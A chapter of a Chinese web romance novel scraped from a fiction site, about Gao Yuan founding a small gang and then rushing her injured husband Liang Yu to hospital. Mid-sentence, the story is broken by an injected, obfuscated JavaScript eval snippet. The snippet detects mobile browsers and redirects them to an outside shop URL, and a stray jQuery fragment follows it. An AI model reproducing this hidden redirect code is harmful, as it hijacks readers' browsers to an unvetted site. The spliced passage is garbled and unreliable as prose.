文趣网 > 其他小说 > 你的港夜[先婚后爱] > 7. 砸门
    “你之前说的话,我又重新想了一下。”高媛靠着栏杆,凝望山下夜色辉煌的景色,喝了口冰镇的橘子汽水。

    她脚下放着一袋子菜,还买了一条鱼,信天靠着一辆有些破旧的摩托车,是借菜场大叔的,来送他俩到山顶吹吹风。

    信天也抱着汽水瓶炫了一口,有些发怵地瞥了一眼高媛包里的枪,不禁挠了挠脑袋。

    高媛那一枪打得魄力十足,那群傻仔立刻四散而逃,蠢得出汁,只是他没想到,高媛居然能连枪都搞到手。

    这个老大他信天认定了!

    此时此刻二人心里各怀心思,高媛将橘子汽水里的吸管拿开,仰头喝了起来,气泡在嘴里炸响,橘子的清甜弥漫在口腔里,她觉得这样才舒爽。

    在梁家的日子里虽然不愁吃喝,高媛却觉得憋闷,即使梁聿对她很好,可终究是寄人篱下,保不齐哪一天就会一无所有。

    尤其在今天被梁嘉扬威胁过后,极大的不安敲响高媛的心门。

    她想要有自己的势力,不只是靠着梁聿给的一切撑门面。

    “我想当老大。”

    信天被汽水呛得连咳几声,他被高媛的不轻不重的话震惊到了,没想到她想法变得这么快。

    他重重点头道:“老大的所有事我举双手赞成,小弟愿为您肝脑涂地,死而后已!”

    高媛被逗笑,掏出一串钥匙扔给信天,信天双手接住,问道高媛这是什么。

    “窄街店铺所有钥匙,我人在梁家不好操作,租金你去收,我只拿三成,一成给你,剩下六成都是帮会运转资金。”

    “顺带,你去敲打敲打原来天海附近依附着的铺子,把李家豪剩下的那点残兵败将除干净,免得一身腥。”

    “还有,这是我家里的电话,你可以打这个。”高媛递给他一张纸条。

    天降的馅饼砸到信天头上,他幸福得一时没反应过来,高媛居然就直接把一整条窄街都给了自己,这意味着什么?

    李家豪只拥有一家不大的天海都敢在窄街耀武扬威随便绑人,如果拥有了整条窄街那高媛的帮会可以在整个沙尖咀横着走。

    信天拍了拍那串钥匙,十分珍惜地放在皮衣内侧的口袋里,故意搞笑道:“明白了,长官!”

    “对了,那我们帮派该叫什么名字?”

    高媛把那瓶冰镇橘子汽水喝得见了底,山风吹着她的衣袖呼呼作响,撩起的发丝迷乱了双眼,她眯起眼,声音清澈洪亮:

    “对了,我叫高媛,高山的高,名媛的媛,我来自西北,帮会就叫西狼会。”

    *

    信天骑着摩托把她送到太平山,高媛提着两袋子菜远远地跟他说了声再见,进到家门,高媛换鞋洗了个澡换上家居服,便进厨房忙活。

    先前在西北的时候父母出去挣钱,高媛常常要给一家子人做饭,爹爱吃肉,妈爱喝汤,至于弟弟就爱吃些小孩菜。

    她借此烧得一手好菜,即使家里难见荤腥也会到石山上抓几只野鸡,没有荤腥也能想着法子做饭。

    因为做不好,总会挨打的呀。

    南方的菜场服务周到细致,鱼已经被杀好了,高媛用猪油起锅放姜煎鱼,煎熟后切碎,放胡椒粉和盐,翻炒后加入一锅热水,用小火温煮。

    奶白的鲫鱼汤在锅中翻滚,高媛累了一天靠在灶台边放空,客厅里的电话铃声响起,她急忙去接。

    “太太,梁总出事了,现在在医院,您赶快来一趟吧!”

    白特助焦急的声音在电话里响起,高媛发愣一瞬对着电话那头回复道:“私医是吗?我现在就安排司机过去。”

    高媛处理好家中一切惊魂未定上车时,闭眼在脑海里细细回想。

    她突然想到梁嘉扬放过她去做事,想来事情早在下午就已经发生。

    私医在中环,车堵得水泄不通,高媛不停抬头看向窗外,几分钟过去也不见得挪动半分。

    这里距离梁家私医不是很远,高媛打开车门冲着司机说:“太堵了,我先去医院。”

    高媛紧赶慢赶来到私医,医院前台的人一眼便认出她,将她带到四楼心内科。

    她踏出电梯瞳孔骤缩,漫长的医院走廊中,冰冷的灯光几乎将凝结。

    梁聿一个人坐在长廊上,西装外套搭在一旁,往常一丝不苟的衬衫都凌乱无比,两只袖子粗鲁地撸到隔壁上。

    整个人看起来……易碎极了。

    “梁先生。”

    听到高媛清亮嗓音的呼喊,梁聿站起身,看到高媛那张充满担忧神色的脸,他快步走到他面前。

    高媛差梁聿一个头,因此梁聿站到她面前时,她的视线,她的感觉全部只能放在这个男人身上。

    盯着这双只装着他的水润双眸看了许久,梁聿低头,忽然紧紧地抱住高媛,几乎要将她融入骨血。

    她懵了一瞬,但很快,高媛就感受到梁聿身上极大的不安与难过,梁聿需要安抚,需要爱他的人给他力量。

    高媛轻轻抚摸着梁聿的背,像是给一只小流浪顺毛一样,一下一下抚平梁聿不好的情绪。

    “怎么了?”高媛轻声问道。

    梁聿抱着高媛柔软的身躯,抬手摸了摸她顺滑的头发,淡淡清甜的茉莉花香充盈着鼻腔,是家里沐浴露的味道。

    高媛一定是在家里刚洗完澡准备睡觉,就被助理一通电话叫来医院,现在又这样担心,一定又休息不好了。

    他刚才应该拦住白特助,至少能让高媛安睡一晚。

    “没怎么,我们回家吧。”梁聿声音有些沉闷,高媛也不敢问太多,梁聿看起来疲惫极了,她还没见过他这幅样子。

    “好,我们回家。”

    梁聿又抱了她良久,一句话也不说,只是抱着她,感受她每一寸肌肤,似乎要将两人的呼吸,体温都调整一致。

    直到祖母梅婉华从病房里出来,梁聿才依依不舍地放开她,高媛注意到,一向沉稳傲气的梅婉华也看起来疲态十足。

    究竟发生了什么事儿?一个两个都要瞒着她?

    “梁聿,你先回去,这里有我照看。”梅婉华声音沙哑,眼角的皱纹都多了几分。

    梁聿点头,牵着高媛的手走进电梯间,她有些不习惯十指相扣的牵手方式,但碍于他今天的状态实在不对劲,任由他去吧。

    回去的路上依旧堵车,二人坐在后排,挡板升起,但那只死死相连的手还未分开,高媛把车窗打开,沉凝望向窗外。

    而身后,梁聿那双狭长薄情的眼眸,也在黑暗中一瞬不瞬地盯着她。

    高媛回家后便去热鱼汤,梁聿忙了这么久说不定一口东西都没吃,喝点鲜热的鱼汤好歹还能暖暖胃。

    她拿一口小盅,将过滤过的鱼汤盛起来,奶白色的鱼汤飘着股股热气,高媛端上餐桌,一转眼却不见梁聿。

    一楼转了一圈,没有。

    上到二楼,先是健身房,没有,又到影音室还是没有,来到书房前,想到之前梁聿的要求,她敲了敲门,见没人应答,便去了主卧。

    主卧的卫生间里亮着灯,高媛抬手轻轻敲了三下,对着里面的梁聿温柔说道:“梁先生,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793468|210461||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我给你煲了鱼汤,出来尝尝吧。”

    回应她的,是良久的沉默。

    “梁先生,你还好吗?先出来吃点东西吧。”

    “梁先生?”

    沉默,沉默,还是沉默。

    高媛有些着急,梁聿今天状态实在不对,她怕他出了什么意外,那梁嘉扬这个疯子不又兴致冲冲地贴上来了么。

    她转动门把手想要进去,玻璃门另一侧才传来梁聿沙哑沉闷的声音:“我没事。”

    没事就好,高媛安心下来,想来梁聿应该是在那里冷静,还是不要打扰为好。

    忽地,卫生间门内传来玻璃被打破的声音,高媛猛地顿住,立刻转身回去询问梁聿的情况。

    但依旧,没有回应。

    最重要的是,她眼尖地看到,玻璃门上有星星点点的血迹。

    高媛开始拍门,卫生间门被反锁,梁家用的锁都是德国定制,用蛮力肯定打不开,高媛约莫拍了五分钟,后退两步。

    她环顾四周,抓起化妆台前的椅子,奋力朝着玻璃门上砸去,玻璃门上出现大大小小的裂隙,她抬脚踹开了那扇门。

    随之而来,高媛瞳孔忍不住骤缩,洗手台和地上全都是刺目鲜红的血迹,而血色的来源,是倒在地上的梁聿。

    高媛手脚有些发麻,不知所措地蹲下来查看梁聿的状况,身上除了被那瓶打翻护肤品的碎片划伤外没有其他伤痕,高媛又捏住他的下颌,初步判断是内伤。

    她逼迫自己清醒下来,将梁聿高大的身躯背起来,却又听到梁聿黏糊地开口:

    “不用管我……我没事……”

    想到她被打碎的全球限量贵妇护肤品,又听到梁聿这一副嘴硬的样子,高媛气不打一处来,她红了眼忍不住吼道:

    “所以呢?你还想自己硬撑到什么时候!”

    梁聿哑口无言,高媛力气很大把梁聿稳当背到身上,快步下楼,她联系司机赶紧把梁聿送到私医去。

    这一天天的,事怎么这么多呢,豪门真难混。

    梁聿现在处于半昏迷状态,为了防止行驶过程中受到二次伤害,高媛不得不抱紧他,用手揽住他的头,靠在她的肩膀上。

    二人贴得很紧,方便高媛感觉到梁聿是否还有呼吸,以及那胸腔内有力的心跳。

    到了医院门口,医生早就等在门口,用担架把梁聿抬到急诊室,高媛坐在外面,白色的短袖上沾满了属于梁聿的血迹,血腥味扑鼻。

    她愣了愣,没注意到梅婉华何时已经坐到她身侧,一双智慧而沉静的眼盯着急诊室上方的手术中看。

    梅婉华轻不可察地叹气,高媛这才回过神来,立马站起身鞠躬问好,而梅婉华看着高媛说得上狼狈的模样,摇了摇头,声音疲惫:

    “好孩子,你坐下吧。”

    高媛并不知道梅婉华要跟她讲什么,也不知道梁家到底发生了什么,她只懂得作为一个妻子,高媛该对她名义上的丈夫负责。

    二人相隔而坐许久,高媛偷偷瞥了好几眼,梅婉华依旧像初见那样,一身黑色绒布旗袍上面用金丝绣着高洁的兰花,手推波头发一丝不苟地梳起。

    可这份世家大族的傲然,今日却掺杂了几分颓败。

    “梁聿还没跟你讲过梁家的事吧。”

    梅婉华出声打破这份诡异的沉默,高媛老实地摇头,眼睛亮晶晶地盯着她看,小声说道:“祖母请讲。”

    她幽幽叹气,眼睛凝望窗外金碧辉煌的港城,似乎回到当年的回忆中:

    “你知道梁聿的母亲是怎么死的吗?”